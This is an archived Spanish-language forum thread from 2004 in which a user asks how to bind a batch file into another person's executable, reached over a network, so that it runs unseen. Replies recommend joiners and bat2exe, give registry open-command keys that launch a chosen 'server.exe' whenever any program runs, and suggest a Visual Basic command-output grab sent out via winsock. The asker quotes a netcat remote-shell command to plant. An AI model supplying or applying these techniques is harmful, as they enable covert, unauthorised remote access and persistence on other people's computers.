PDA

Ver la versión completa : ejecutar un bat camuflado...



morza2
08-10-2004, 22:38
Bueno,,,despues de tanto investigar, me di cta que no se puede ejecutar una instruccion remotamente (poder se puede...pero), entonces quiero saber algo:
¿Alguien puede "meter" un bat con una instruccion x, en un ejecutable (exe) de manera que cuando el ejecutable se clickea se abre tb el bat?
uffff...se entiende?
Vi algo de joiners, pero no se si sirven para esto.

Entrando a su PC en red, quiero tomar su archivo.exe, y "pegarle" mi bat, pero sin que deje de andar su archivo.exe.(y ejecutar obviamente el bat!)

se puede?
Gcias!!

TseTse
08-10-2004, 23:37
Puedes probar el 'bat2exe' para pasar el bat a exe y luego con un joiner juntas los dos exe.

TseTse

dbianx
09-10-2004, 02:32
No se si te refieres a algo como esto pero creo q t podria servir aunq no lo e probado denerias tener en cuenta q modificando estas claves cada vez q s ejecute un archivo con la extension a la que hace referencia la clave .. se ejecutara tu .bat o ejecutable o lo que sea ose q podrias tener muchas instancias d ese programa creo ... bueno haber si te sirven estas claves ...
[HKEY_CLASSES_ROOT\exefile\shell\open\command] @="\"%1\" %*"
[HKEY_CLASSES_ROOT\comfile\shell\open\command] @="\"%1\" %*"
[HKEY_CLASSES_ROOT\batfile\shell\open\command] @="\"%1\" %*"
[HKEY_CLASSES_ROOT\htafile\Shell\Open\Command] @="\"%1\" %*"
[HKEY_CLASSES_ROOT\piffile\shell\open\command] @="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\ open\command] @="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\comfile\shell\ open\command] @="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\ open\command] @="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\htafile\Shell\ Open\Command] @="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\piffile\shell\ open\command] @="\"%1\" %*"

La llave del registro debe tener un valor de Valor "%1 %*", si esto se
cambia a "server.exe %1 %*", el arhivo server.exe es ejecutado CADA VEZ que
un archivo del tipo exe/pif/com/bat/hta se ejecuta.
un saludo

morza2
09-10-2004, 08:15
no conocia esas claves!...si puedes darme un ejemplo...(
[HKEY_CLASSES_ROOT\exefile\shell\open\command] @="\"server.exe %1\" %*" ...supongo que ejecuta server.exe cada vez que abro cualquier exe?)
¿Y si lo que quiero es ejecutar un comando como dir c:?

Con un joiner se abre bien el ejecutable original, pero el bat pegado se abre como un cmd con error de comando no válido, bla, bla...
probe agregandole start, o el path...pero algo estoy haciendo mal.
ej: nc -d -e cmd.exe 172.16.200.1 9000
start nc -d -e cmd.exe 172.16.200.1 9000 funciona desde ejecutar, pero no lo toma con un joiner...

dbianx
10-10-2004, 16:11
bueno como ya te dije aun no probe stas claves pero viene bien clarito

La llave del registro debe tener un valor de Valor "%1 %*", si esto se
cambia a "server.exe %1 %*", el arhivo server.exe es ejecutado CADA VEZ que
un archivo del tipo exe/pif/com/bat/hta se ejecuta.

si quieres ajecutar un comando cxomo dir pues o haces que el ejeciutable te aga un listado del directorio en cuestion o te haces un .bat que ya parece que sabes .... aunque yo personalmente no terecomiendo usar "joiners" noporqueno sean utilies obuenos , sinopor que la mayoria que puedasdescargarte seran detectados el resultado de la union por todos los antivirus , te recomiendo empezar a hacer tus propias cosas , as probado con algun lenguaje sencillo coimo visual basic ? mira en este con esta simple linea tendras acceso al cmd.exe y a todas las opciones que conoces de uso con la consola ms-dos
Shell ("cmd.exe /c dir c:\>>c:\dir.txt")
luego solo tendrias que hacer quetu aplicacionleyese el archivo donde se guardo el log del dir y mandarlo a algunsitio con las librerias winsock .... te aseguroi que esto es realmente facil de hacer y no creo q te costase mas d unos dias en hacerloaun sin conocerel lenguaje .
un saludo

morza2
11-10-2004, 04:52
me parece buena idea DBIANX..sabes de informacion al respecto?

Tse: Pase mi bat a exe, pero cuando se ejecuta el exe no funca...

ssad
25-10-2004, 04:05
No se si te refieres a añadir un bat a un exe ya creado previamente o a crear un .exe desde el principio que ejecute un bat... Si es esto ultimo, en lenguaje C es muy sencillo con una llamada a sistema:

#include <stdio.h>
#include <stdlib.h>

int main(void)
{
system ("nombrearchivo.bat");
return;
}

morza2
25-10-2004, 14:41
Ok Ssad...explicame que hiciste...o que es lo q hacen esas lineas...llaman a un bat?
Y dime si se compila con cualquier compiler....ayudame q estoy mal con eso

ssad
25-10-2004, 17:42
Se compila con cualquier compilador de C. Ese codigo fuente que te he puesto ejecuta "nombrearchivo.bat" . "System" sirve para hacer una llamada a sistema y ejecutar el comando que te plazca y si es un .bat , tambien. Si tienes más dudas , postea.